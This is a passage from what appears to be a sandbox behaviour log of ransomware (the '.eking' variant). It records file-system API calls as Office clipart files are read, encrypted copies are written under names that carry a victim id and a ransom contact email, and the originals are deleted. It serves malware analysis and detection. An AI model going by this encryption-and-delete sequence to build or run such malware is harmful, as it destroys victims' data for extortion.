Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0192.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.659] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14540) returned 1 [0192.659] CloseHandle (hObject=0x1b8) returned 1 [0192.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0192.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0192.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.660] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.660] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.661] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x38cc, lpOverlapped=0x0) returned 1 [0192.664] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x38d0, lpOverlapped=0x0) returned 1 [0192.666] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.666] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.666] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.666] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x38cc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x38cc, lpOverlapped=0x0) returned 1 [0192.669] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.673] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.675] CloseHandle (hObject=0x1b8) returned 1 [0192.676] CloseHandle (hObject=0x1e8) returned 1 [0192.677] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0192.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.680] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20554) returned 1 [0192.680] CloseHandle (hObject=0x1e8) returned 1 [0192.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0192.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0192.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.680] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.680] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.681] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x504a, lpOverlapped=0x0) returned 1 [0192.684] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x5050, lpOverlapped=0x0) returned 1 [0192.685] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.686] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.686] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.686] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x504a, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x504a, lpOverlapped=0x0) returned 1 [0192.689] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.693] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.696] CloseHandle (hObject=0x1e8) returned 1 [0192.697] CloseHandle (hObject=0x1b8) returned 1 [0192.698] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0192.700] SetEvent (hEvent=0x174) returned 1 [0192.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.701] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7966) returned 1 [0192.701] CloseHandle (hObject=0x1b8) returned 1 [0192.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0192.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0192.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.702] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.702] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.703] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1f1e, lpOverlapped=0x0) returned 1 [0192.706] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1f20, lpOverlapped=0x0) returned 1 [0192.707] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.708] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.708] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.708] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1f1e, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1f1e, lpOverlapped=0x0) returned 1 [0192.712] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.716] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.719] CloseHandle (hObject=0x1b8) returned 1 [0192.720] CloseHandle (hObject=0x1e8) returned 1 [0192.721] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0192.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.724] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=13515) returned 1 [0192.724] CloseHandle (hObject=0x1e8) returned 1 [0192.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0192.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0192.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.725] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.725] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.725] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x34cb, lpOverlapped=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x34d0, lpOverlapped=0x0) returned 1 [0192.729] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.730] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.730] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.730] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x34cb, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x34cb, lpOverlapped=0x0) returned 1 [0192.733] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.737] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.740] CloseHandle (hObject=0x1e8) returned 1 [0192.740] CloseHandle (hObject=0x1b8) returned 1 [0192.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0192.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.748] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20189) returned 1 [0192.748] CloseHandle (hObject=0x1b8) returned 1 [0192.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0192.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0192.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.749] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.749] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.750] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x4edd, lpOverlapped=0x0) returned 1 [0192.752] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x4ee0, lpOverlapped=0x0) returned 1 [0192.754] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.754] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4edd, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x4edd, lpOverlapped=0x0) returned 1 [0192.757] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.761] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.763] CloseHandle (hObject=0x1b8) returned 1 [0192.764] CloseHandle (hObject=0x1e8) returned 1 [0192.765] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0192.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.768] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20454) returned 1 [0192.768] CloseHandle (hObject=0x1e8) returned 1 [0192.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0192.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0192.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.769] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.769] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.770] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x4fe6, lpOverlapped=0x0) returned 1 [0192.772] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x4ff0, lpOverlapped=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.774] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.774] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4fe6, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x4fe6, lpOverlapped=0x0) returned 1 [0192.781] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.803] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.845] CloseHandle (hObject=0x1e8) returned 1 [0192.845] CloseHandle (hObject=0x1b8) returned 1 [0192.848] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0192.854] SetEvent (hEvent=0x174) returned 1 [0192.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.870] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15733) returned 1 [0192.870] CloseHandle (hObject=0x1b8) returned 1 